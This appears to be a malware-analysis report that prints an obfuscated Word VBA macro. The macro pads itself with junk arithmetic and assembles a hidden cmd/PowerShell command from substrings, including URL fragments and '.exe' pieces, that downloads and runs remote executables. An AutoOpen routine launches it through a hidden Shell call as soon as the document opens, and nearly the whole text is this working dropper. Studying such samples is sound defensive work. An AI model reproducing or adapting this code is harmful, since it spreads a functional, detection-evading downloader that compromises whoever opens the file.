rkhLTATX = (LmjShEWYIjSdk) + yHBjksbJKSUgsssd("QjQJ+dQJwdQJ+dQJwdQJ+dQJ.exdQJ+dQ'+'JotidQJ+dQJcevdQJ+dQJendQJ+dQJts.cdQJ+dQJomdQJ+dQJ.dQJ+dQJpk/Cv9HdQJ+dQJ/?dQJ+dQJhttdG4r+G4rQJ+dQJp:uz5+uz5//wdQJ+dQJwdQ'+'J+d'+'QJw.dQJ+dQuz5+uz5JjodQJ+'+'dQJoROOAllINRfJsNSpMjvcGDbTiLPXPCzv", 3, 194)
hYJEjMX = (9272291 - CDbl(3399470 + FbkGdXKhnsS / bRjuPIFwJ * Hex(7499954)) - 460528 + CByte(ZJCAZAmYZsKVN))
JIzvGA = (7670253 - CDbl(309982 + VjqUw / ZZWPXYqTXSYu * Hex(6377130)) - 3934775 + CByte(JInFuzjG))
iqvqSwhdKX = (2684852 - CDbl(6335921 + HEcdwitljd / KcOhGVswSG * Hex(6375206)) - 6352748 + CByte(YCOBpqT))
LZESSkAYcE = (fZjOiMOOBqGJnh) + yHBjksbJKSUgsssd("JgqdQJ+'+'dQJuz5+uz5SdQJ+dQJG4r+G4rDC)dQJ+dQJ;bre'+'dG4r+G4rQJDdowNTZbhHYkpzjHSuVCuEGvZzz", 2, 61)
HkOQj = (8649520 - CDbl(2642052 + ROVaXQF / TsvtKUchwvPbW * Hex(1175725)) - 3364183 + CByte(wpfasXo))
rJCUM = (9267929 - CDbl(5530512 + rTarPa / cXIArhLUdvRd * Hex(7317466)) - 8221099 + CByte(wKdhkiB))
lhlajcqbwAn = (9314398 - CDbl(751839 + QEdIHEjpnujIKE / UFPcWT * Hex(8213046)) - 2834012 + CByte(WPNhpJbaEAb))
tDVWuhIEzwb = (qAwkrfzKrM) + yHBjksbJKSUgsssd("CdSaHzcQAPpAkcrYtATciEDLtdQJ+dQJgqG4r+G4rYYU dQJ'+'G4r+G4r+dQJuuzjhdDYXc", 25, 38)
JsBWtpasw = (6275499 - CDbl(4927610 + wmrrwAiTIEJdf / ttllfsSEiPoI * Hex(4854894)) - 6908891 + CByte(GXTBmlZdzmmU))
RdkvAvW = (5472967 - CDbl(3781520 + qwsdfsivAhX / DcCpbuiCjqbtA * Hex(3787192)) - 2942879 + CByte(zsXqkwYsPvEv))
rEBBjCmO = (4553148 - CDbl(5523928 + UPtWBwwL / zRDAVzcMdv * Hex(9152741)) - 1528675 + CByte(hHEDKa))
bSGofilfz = (ZYQZmUj) + yHBjksbJKSUgsssd("UHqXoENzzdInGKRNivLSjdLjVKb84+[cHG4r+G4raR]49),uz509Wuz5).rePLAce(uz5dvUuz5,uz5U5buz5) 7gR &( 0G4r+G4r9WEnv:PvrzUzzwazcK", 28, 82)
umsbRLlbIuU = (3121863 - CDbl(3690670 + SbhLKimRzlWjj / mAdOVVO * Hex(2970629)) - 995843 + CByte(aLonKfnJMzQCW))
WrYRAYH = (2321660 - CDbl(9272625 + UfREjBNdjuvIuz / CWokwtwHRw * Hex(2368939)) - 3798245 + CByte(wkdRRZAiwALZ))
OXOuzoivdj = (9623771 - CDbl(2096583 + PjiPOU / fhbzCVY * Hex(9851634)) - 1244134 + CByte(hbfvQiqV))
dhDJFHs = (hzsTuYX) + yHBjksbJKSUgsssd("AMladWqCLrKMDMKNsd = &duz'+'G4r+G4r5+uz5QJ+dQJ(G4r+G4rdQJ+dQJpkdG4r+G4rQG4r+G4rJ+dQJYndQJ+dQJpdQJ+uz5+uz5dQJkdQJ+uz5+uz5dQJY+pdQJ+dQJkdQJuz5+uz5+G4r+G4rJEAiQNcticrvVkq", 17, 136)
TSwIWzI = (6034009 - CDbl(2186841 + FnuRZJJEQwTijR / XcKvrUpWzSkF * Hex(5475592)) - 7237517 + CByte(iDjtcjDn))
LpcwXrn = (8469921 - CDbl(5181335 + qZXDAdhHTPMkUd / RwzpEjTw * Hex(3517276)) - 3120396 + CByte(noGUoSUwdPwtRG))
DHFqdYcLzK = (4482296 - CDbl(4074919 + ESTMPMPG / CWOXcFnCptAz * Hex(5168243)) - 8877349 + CByte(XzASChij))
AFLWrKUAN = (EvpUXiKztrrW) + yHBjksbJKSUgsssd("KkALpVLojJwuHSnzEQ+'QJF/dQG4r+G'+'4rJ+dQJpdQJ+dQJkY.SplidQJ+duz5+uz5QJt(uz5+uz5pkYdQJuz5+uz5+dQJ?pkY)dQJ+dQG4r+G4rJG4r+G4r;d'+'QJ+dQJtdQJ+dQJgdQJ+dQJG4r+G4rqSDCdQJ+stozziQQRWrkMDqaBNphw", 19, 146)
fBWMSZYjk = mBYiswhpYtFt + BsAzmYcr + CqRzofWU + ChrW(34) + zPzhGntGP + uVdrI + uRJKNSipO + viCFKC + dhDJFHs + ajJjYI + vkzJmfNLLzH + rEvSNhWHF + tDVWuhIEzwb + wdIqQvXtD + nTRpfSjPzsY + jPsWiNLJnB + htlOhHZPTW + FzVtDV + DYVHdGibV + iOhpGww + ONfjSNL + rkhLTATX + zTwNQDFAzNP + AFLWrKUAN + AOCOnBjdPqu + YwMiwpBlj + EWjQmzk + MJcZYlrOvRF + NTHthwdm + kPZDdYY + FqqhDNTi + zqldEiMVFp + LZESSkAYcE + YTvtcLprK + sSUmPLdk + UVBpMLEihW + vtzZuujtYDq + mMCrIPl + qstzVj + bSGofilfz + ACBjVPGE + aZWwjmNv + buYEiztCW + VJbYzOQVYcC
RdUSdYDoP = (2272759 - CDbl(9425829 + GUpCW / FqQRRJlaiSq * Hex(8748781)) - 2456488 + CByte(wSQCrjPbt))
wJQtJsuHf = (6969216 - CDbl(760567 + PzAMKjCtkzVz / IoDnLmUdw * Hex(3450543)) - 1562705 + CByte(PcikL))
LJIljTQph = (581331 - CDbl(2466705 + JAnRVBErUTz / KThsMuDUJZm * Hex(2448664)) - 8120349 + CByte(bVmzdjHunRVj))
End Function
Sub ajOWwKAJVjLkQ(HthIKDIBi As String)
On Error Resume Next
UzhwiPQJb = (7053602 - CDbl(3233457 + vaLFIMFvVvHwR / DpCnOQ * Hex(3460323)) - 3648270 + CByte(dwnfWM))
nMUinjNjw = (9701793 - CDbl(7709334 + BcYrkhYM / GnWAYcTiGV * Hex(6279332)) - 6593630 + CByte(ijnSdaqJEoZ))
Shell QqilNFHKljYzdP + HthIKDIBi + uzrdHj + tpEREzVS, 0
BzwCHmkzs = (3070329 - CDbl(4871459 + wBKpoNUwL / LSPzztj * Hex(9221592)) - 117902 + CByte(pSfZBb))
HUJzwNiLU = (8413184 - CDbl(5958395 + crdZGnn / mJorRzPPif * Hex(4311970)) - 7085713 + CByte(NFAmMPwkDdFO))
End Sub

Attribute VB_Name = "wTRlZLqIqA"
Function CqRzofWU()
On Error Resume Next
BDdsrsFcz = (939864 - CDbl(4433189 + MJViPw / BlvjZOujbDn * Hex(3487729)) - 7952539 + CByte(FoCsOlwNitjf))
FwdqpuOXN = (6048539 - CDbl(203186 + nVkhiVLGijLzpi / rmhQHVTpAKlnCB * Hex(9921225)) - 9031348 + CByte(tloiDlHUuhT))
cCiJz = (2270421 - CDbl(761798 + IjnCtzPudUfj / whIFilbGD * Hex(8058163)) - 2625503 + CByte(BavMnzdwYcEP))
CWbBmmSdK = (wCOGZtYGzi) + yHBjksbJKSUgsssd("zzDQFcp8S8Q7w8Dr&&seDq", 16, 5)
EkzwLtUudD = (7929624 - CDbl(4008713 + nwTcs / doIHvV * Hex(2135621)) - 3885473 + CByte(PIbLNDUsXLpj))
bafknPtYIHt = (2565759 - CDbl(5163391 + STzAj / qKsUIlU * Hex(4736679)) - 1980581 + CByte(OvEGLFdGz))
osfzLhaEGmE = (3610843 - CDbl(1273556 + QCXPNHpbVKnXZz / qFSATNnboIU * Hex(7866697)) - 2348023 + CByte(sDNIuupzsYMji))
WavPj = (cfFtZPsWTh) + yHBjksbJKSUgsssd("PtLjfPzaGIjiZBQNqnDaDFJqad", 11, 4)
hXEqpSmhiw = (8721516 - CDbl(3664062 + lcHaPfDstN / okilXhbmboDrX * Hex(9045799)) - 4185616 + CByte(QONkitG))
XtiLUPil = (9376966 - CDbl(5019850 + jRCJisnliDEsEC / GroikjftUmd * Hex(6239923)) - 5543327 + CByte(vdhKaAJ))
slSRROmw = (6949236 - CDbl(3411404 + LEmQSG / KKFYBROpN * Hex(241197)) - 4736703 + CByte(WALKWjZWhdC))
rzPCOOUfA = (mAfSnjdbjH) + yHBjksbJKSUgsssd("j6hrRBz3!%qljCbCG6Gpl6ZQCQR8Kp", 9, 7)
IGGhbKQYBzN = (9844812 - CDbl(7150976 + uIzuP / tjrjIjBbnrJ * Hex(3039891)) - 7420785 + CByte(UIhqmfpNDLQCkU))
sobjcdVlu = (5968493 - CDbl(4106356 + lhhjiWnMo / RYbLzMnhlbIHk * Hex(8399167)) - 6233184 + CByte(fPFwjwSTYiF))
szsAbO = (3319558 - CDbl(7957816 + udwpYocATqzn / tOdwpAzrXGpIV * Hex(1161679)) - 1464612 + CByte(OHVszhfIvTrD))
sBwOfCLzBN = (TVXrtLTVN) + yHBjksbJKSUgsssd("7HU2nkiZBQrGSAi%! 6iSjiqjjzpAW4H", 7, 12)
DSVuAKD = (2638126 - CDbl(869400 + bvtMjVBVIwM / rnPRhCsdrE * Hex(454368)) - 877331 + CByte(IwOQIi))
ZXwZU = (3312247 - CDbl(8433136 + ZwKMVZktHti / fWQlBSVbrWsoBb * Hex(4305363)) - 7378939 + CByte(AOuiK))
aiFAwz = (2721257 - CDbl(3308377 + VhStzz / VOcczf * Hex(1389350)) - 3160224 + CByte(QoCFVKtDzoHfoN))
BAEwlls = (pvXWJjCiU) + yHBjksbJKSUgsssd("iIa3CzZiwDfhDhAi%=^sh^el^l&&KAlZoRw3L", 15, 14)
IhLwDLt = (2219277 - CDbl(7318067 + oPvIpdh / HUwBa * Hex(6134978)) - 8615467 + CByte(udVCWtJJPOh))
iIDRqs = (7830912 - CDbl(9047821 + worVwnnlkFlmsY / YSRGjbipjnuGl * Hex(8723143)) - 5210311 + CByte(sFHYKJEjFvItQQ))
PaljNmiJzc = (6889909 - CDbl(289200 + TqwQiLYOwHiC / BsIJshkAjON * Hex(6573775)) - 175735 + CByte(SpZTDsVSCifK))
dHOpBkPZSGB = (TnztoZtzzSVL) + yHBjksbJKSUgsssd("jCp8HS2h0wiYiGULHHzUt %Gl1C", 21, 3)
fkCZnQzfhY = (4826545 - CDbl(7769318 + JLjpiiimBq / NqAcuBET * Hex(9217770)) - 239038 + CByte(kiawwdXdkm))
ZPbinkRLQ = (2500707 - CDbl(8445013 + MKaGcpPPu / OrhEcEUF * Hex(8551547)) - 5637306 + CByte(aFPifEPYFiA))
QscrHvzDN = (9817876 - CDbl(5542458 + kbwrGlMq / MERYvZQ * Hex(6298614)) - 3949159 + CByte(qlELYwk))
iOfwGSmJErf = (knbihhWGZ) + yHBjksbJKSUgsssd("Za0G1G0YnnhlQ6jeFCOd4pAz1DUZtRNK9HJ3", 16, 1)
rQiDjNjuC = (3970351 - CDbl(6993187 + CdOjUzpBjkmdf / avVlVBbw * Hex(2209845)) - 2471931 + CByte(DwvSiWVBLJu))
lBvsBADZL = (6389769 - CDbl(834056 + szjhISLMMuS / GwiSDSCz * Hex(3201256)) - 494490 + CByte(izNQcTGjOREdC))
LGhzEEoXi = (8456931 - CDbl(3338346 + uXrjA / SQWStFbfHPpFAk * Hex(8977797)) - 341605 + CByte(sGNEzBVjamP))
Epiwqd = (prcVOmr) + yHBjksbJKSUgsssd("464GvlEEGS7SzGCNiObj3j5ht66dckRnp6n", 4, 5)
MjsPltCisad = (7861554 - CDbl(9828187 + nvTOBmTTMY / qWMREzIZREJ * Hex(4154111)) - 7845270 + CByte(hkiEGOk))
hhGUJMPOM = (5038502 - CDbl(7972058 + nMirWH / rKczRjacLkP * Hex(6411226)) - 4778196 + CByte(ZiCUCkOGJz))
UvEnaqtHu = (3090637 - CDbl(6351214 + dsOQCK / RKMNPAIcv * Hex(5682875)) - 4047509 + CByte(QcNhjXUWTlAfj))
ikUVprizEmS = (tJaBEiKpowrhIt) + yHBjksbJKSUgsssd("Ci634C56caRnYsQ%=p^o^w^9tD7w3sCtHZ71P7D", 13, 11)
OKDNGuYcQo = (3157352 - CDbl(5838580 + KhthnDfJ / iiXLrwJIWOP * Hex(9766963)) - 3089634 + CByte(SSuhaUCLUwjaO))
AREfQDh = (4999561 - CDbl(5970834 + zhFkKZiQuMW / BCPRuqbP * Hex(8790452)) - 4183901 + CByte(piSKY))
lRfMuBq = (6014848 - CDbl(3321472 + jdnPitfjsnd / OziKSjPjYwPp * Hex(5666178)) - 5442531 + CByte(GsPGldcm))
olfZJL = (BcmKjcX) + yHBjksbJKSUgsssd("w0CGhG9GoGtqljCbHQ", 12, 5)
jDwDpBq = (7250100 - CDbl(1106963 + ZndhsIlLrw / CrROQoZulYK * Hex(7113282)) - 4363222 + CByte(VsRBdQBb))
wpoCC = (8838272 - CDbl(7948001 + FtXaEjELN / YTwVYYrUFPCG * Hex(3139821)) - 4417742 + CByte(UJNjibzc))
FiRBXouECM = (8489797 - CDbl(2035040 + BThsFZJfzYUjE / JHoaTwdAJkWqi * Hex(6740352)) - 2034914 + CByte(rEKiXXmMJc))
XuibdZQIY = (soPlLlNz) + yHBjksbJKSUgsssd("DlAnwTaA61GvlEEYsQ%!!%jlLjZ6d005J6Do", 11, 13)
UJbnHn = (4345277 - CDbl(6304672 + VaTlUcQ / BsaSjsioOqRpj * Hex(9767726)) - 2476896 + CByte(OqquhWQDL))
lREOiL = (7058172 - CDbl(1487358 + VizjliKZZrM / jGLiEqjXNw * Hex(4501680)) - 5787098 + CByte(VJfcXGzkATfq))
vLwRiUsXir = (7097132 - CDbl(806946 + onzWdMOaKlwUBk / ZLVuQYfw * Hex(390804)) - 7052796 + CByte(sjnjoUm))
cJJuPEBwo = (JwWOvaU) + yHBjksbJKSUgsssd("jwoQDVGinqset %Fj", 11, 5)
StrLj = (6508166 - CDbl(7468005 + zihPCuZKVV / pKGczP * Hex(8612466)) - 150194 + CByte(MTdwMYiEOlGZw))
pzZwFCjEwPV = (8058381 - CDbl(8591641 + FizlTJzVfjzkSo / ahsSiAiDdLVvjP * Hex(6874706)) - 8816493 + CByte(NhshvPZC))
tZNTJKHlqA = (3874065 - CDbl(1690253 + cZwlalfs / XOuWi * Hex(3788233)) - 4945427 + CByte(NPGvpiWlvSfRSP))
BwkjdlpiU = (AftUUqoZJrvlPT) + yHBjksbJKSUgsssd("8zqvQrGSpzUn4650lQYCDzta0JGniF6KwSwiFzad", 5, 4)
CqRzofWU = cJJuPEBwo + olfZJL + Epiwqd + ikUVprizEmS + iOfwGSmJErf + CWbBmmSdK + dHOpBkPZSGB + WavPj + BwkjdlpiU + BAEwlls + rzPCOOUfA + XuibdZQIY + sBwOfCLzBN
JrOaENkVw = (6870863 - CDbl(8373052 + zzmVCbpbpECYn / bAfTzakIEDHEPM * Hex(2691877)) - 8483151 + CByte(WDwhXwZP))
EbraFoqnJ = (7236451 - CDbl(6878100 + ikQGoujNwMdNz / jUoOEBFDvwsi * Hex(9798314)) - 2812743 + CByte(RFaiBnmm))
sscPMRrwd = (5528131 - CDbl(3666403 + Vwvhhl / oSNGvUwhGC * Hex(6834538)) - 9118619 + CByte(uhwVbmsmDAPFfG))
End Function

Attribute VB_Name = "wzDjPfW"
Function mBYiswhpYtFt()
On Error Resume Next
BDdsrsFcz = (8761708 - CDbl(2727001 + NSzArWp / pqPrEUL * Hex(5258269)) - 3210790 + CByte(zWlzwNuPDwqzO))
FwdqpuOXN = (3211214 - CDbl(9868438 + iaBvkwqzuW / tMSENkjwr * Hex(5370513)) - 2971874 + CByte(mFbSsZrc))
cCiJz = (9807171 - CDbl(8413186 + qkZUFBflDc / BDlrcNiUHCOHP * Hex(8033265)) - 1728526 + CByte(zaCtWBlcTo))
CWbBmmSdK = (PjMlkRnPpAW) + yHBjksbJKSUgsssd("VEqaCwSZAqKpKbDewjijewd eiwohiow Ni", 16, 18)
EkzwLtUudD = (6913053 - CDbl(4700416 + dJfwXhLBiV / RIXowGZwMCRVkk * Hex(9280987)) - 9375109 + CByte(XzsRNAqiji))
bafknPtYIHt = (4526227 - CDbl(5725925 + KHYFHYdJfn / nMYMo * Hex(8881388)) - 2307017 + CByte(lidjchDIhJ))
osfzLhaEGmE = (2772813 - CDbl(5422108 + ShsJw / cXTTsMniBbi * Hex(8120805)) - 8037998 + CByte(wsvjYwYD))
WavPj = (YhBziui) + yHBjksbJKSUgsssd("QHatrjmbbo hdiquw ohiodiDSpoVHnkrqbK", 11, 14)
hXEqpSmhiw = (4370907 - CDbl(7927213 + ChDTY / FZlMlA * Hex(1424817)) - 4848010 + CByte(XUaBkI))
XtiLUPil = (4256636 - CDbl(9091416 + wbjsahuBGU / jsjsB * Hex(9470600)) - 9184053 + CByte(TRqHJwtuKVEuj))
slSRROmw = (7264082 - CDbl(5406816 + zZMwERkt / YYfohznMcbKI * Hex(3823668)) - 4946909 + CByte(hmjjCaUzQLvbkw))
rzPCOOUfA = (rOjDROl) + yHBjksbJKSUgsssd("MbAaHawjiowVERBXjLLIzUoErX", 9, 3)
IGGhbKQYBzN = (3418746 - CDbl(6478217 + rMDaP / mYDPnZdKzo * Hex(4656142)) - 3609199 + CByte(GKlsQnwzRbT))
sobjcdVlu = (6027048 - CDbl(4487947 + cFIhzwiq / ORQkoBiMswlatG * Hex(3804830)) - 7584686 + CByte(RdUwjkQFBFqG))
szsAbO = (5125645 - CDbl(3817762 + QNWaA / KznPb * Hex(6240250)) - 7207733 + CByte(jzouKhAVAfhAf))
sBwOfCLzBN = (KRMdAQR) + yHBjksbJKSUgsssd("RMZJLlhdqbjcTRjTzOXpPkO", 7, 3)
DSVuAKD = (1047210 - CDbl(409371 + QmBuNrt / XXAzK * Hex(1889247)) - 271216 + CByte(iDQvH))
ZXwZU = (4973954 - CDbl(5176866 + oTXdVTVr / tBtiQSrznMjf * Hex(6504883)) - 4392544 + CByte(CddOpGFqLjGtUQ))
aiFAwz = (5949073 - CDbl(932372 + JOQII / SkYvTNrp * Hex(1256421)) - 9408422 + CByte(arqGBioKh))
BAEwlls = (jhjHEiLR) + yHBjksbJKSUgsssd("WJwtLFAIKjktkDcmd ioQWSbRFioG", 15, 6)
IhLwDLt = (5665334 - CDbl(3258939 + ldUrzwv / nOuIjbzaQILB * Hex(2285616)) - 2274885 + CByte(IUmqjj))
iIDRqs = (6396979 - CDbl(6141567 + kTDhNKKccu / snMkirTuB * Hex(3426563)) - 3050575 + CByte(ZXLWMFLJFiRXPY))
PaljNmiJzc = (3134347 - CDbl(2421408 + wiYRqM / HCLsMniLU * Hex(4002323)) - 5820960 + CByte(CozWQl))
dHOpBkPZSGB = (iVTGpuKK) + yHBjksbJKSUgsssd("zRofRsfAWlvBwtRibhGf        bILc", 21, 8)
fkCZnQzfhY = (795018 - CDbl(1110000 + uuGJR / LIjbC * Hex(9912457)) - 3469074 + CByte(FRFwbcinvzM))
ZPbinkRLQ = (4818508 - CDbl(7520329 + wowFQmaMVz / BXiAHHqzd * Hex(7732108)) - 284967 + CByte(TcdYHwGzsNiJs))
QscrHvzDN = (5879218 - CDbl(9440716 + fGtwHbaFvmo / WbJowwcdmOTNO * Hex(20174)) - 5942635 + CByte(oZIcKGSXuFjs))
iOfwGSmJErf = (CjqhiKpPKtSwS) + yHBjksbJKSUgsssd("NnLQKcWGhzCcEJN &       %C^om^SLzustpDZXvuJuRMoZMzL", 16, 16)
rQiDjNjuC = (6402239 - CDbl(1501158 + mQVdLiPJmurNkb / lwEAZOj * Hex(8953537)) - 2314419 + CByte(aqKBkOY))
lBvsBADZL = (5362572 - CDbl(9198404 + HHrzfKGR / ViRrhfnbjiiCWJ * Hex(3165480)) - 7134361 + CByte(FIBfTloMIdHGV))
LGhzEEoXi = (2842142 - CDbl(1527773 + uqiJzdVw / rtNNkzaMoFwQ * Hex(3870823)) - 455712 + CByte(cfZBjVLTakbTlb))
Epiwqd = (QEtNvBTwQmf) + yHBjksbJKSUgsssd("iHv^p^Ec%          /V qCbcYpOrpqXcSHXYwGMzOKLlmXN", 4, 19)
MjsPltCisad = (3868694 - CDbl(3240846 + jancJdol / dMLbaFBjCVzcfK * Hex(3167751)) - 6677538 + CByte(fEuXY))
hhGUJMPOM = (3494647 - CDbl(7663232 + vRnVNCsIij / qzNbfmBwRpBQXu * Hex(1689295)) - 9661710 + CByte(qZEtXzfoOLo))
UvEnaqtHu = (3741517 - CDbl(1351526 + wiSsBSdP / WTWmuBQbEEHR * Hex(1791479)) - 5198293 + CByte(SzhmQ))
ikUVprizEmS = (JBanhjTD) + yHBjksbJKSUgsssd("HRHYDOIADnfM/c           FZEflJwdaOCdolvu", 13, 13)
mBYiswhpYtFt = BAEwlls + CWbBmmSdK + sBwOfCLzBN + rzPCOOUfA + WavPj + iOfwGSmJErf + Epiwqd + dHOpBkPZSGB + ikUVprizEmS
bNiKVElEB = (1440901 - CDbl(6120780 + boiaBN / nwjjPzCmDPaB * Hex(7054812)) - 8238460 + CByte(IJoLRpPLZzYBqU))
sdQmwzRsi = (2982445 - CDbl(2220826 + RipbFvPc / ZlqwwXmJlrw * Hex(2247741)) - 3550513 + CByte(lJPorjQ))
iZzzXjWwr = (5588364 - CDbl(7136123 + oTsapzb / isYNHzYESq * Hex(1290214)) - 4679943 + CByte(PuLqwZrQLuOMzd))
End Function

Attribute VB_Name = "fCLYnbq"
Sub AutoOpen()
On Error Resume Next
QSJjPMrmW = (7918513 - CDbl(9652706 + SiBzSdoVub / lcntYpti * Hex(6168910)) - 6838249 + CByte(AiFjTSiwRY))
HVTiOASao = (6940675 - CDbl(3852479 + DXDbSTwdGSvph / sjJWqvJri * Hex(1419266)) - 3795915 + CByte(KpbHrzJK))
aifrALBoR = (7902898 - CDbl(4933170 + zrIiRStYfL / wICJHBzawjWwJ * Hex(691489)) - 3577832 + CByte(ftVZphpSS))
Application.Run "ajOWwKAJVjLkQ", fBWMSZYjk
jsqYFkfOp = (6740057 - CDbl(6752217 + CtmSOdzauwfwwO / KmDOSkqbII * Hex(383389)) - 8124788 + CByte(rhUUjYcziHbErr))
YiNscrFUc = (7247388 - CDbl(3913133 + NLSiJMnC / MiKOYlfbicK * Hex(5227331)) - 8525841 + CByte(svQZwqWF))
iATLRjEzO = (3266540 - CDbl(7963201 + LECdEF / twJJpUtait * Hex(7404501)) - 7768524 + CByte(NHvKvMU))
End Sub
Function yHBjksbJKSUgsssd(ByVal str As String, start, length)
    yHBjksbJKSUgsssd = Mid(str, start, length)
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.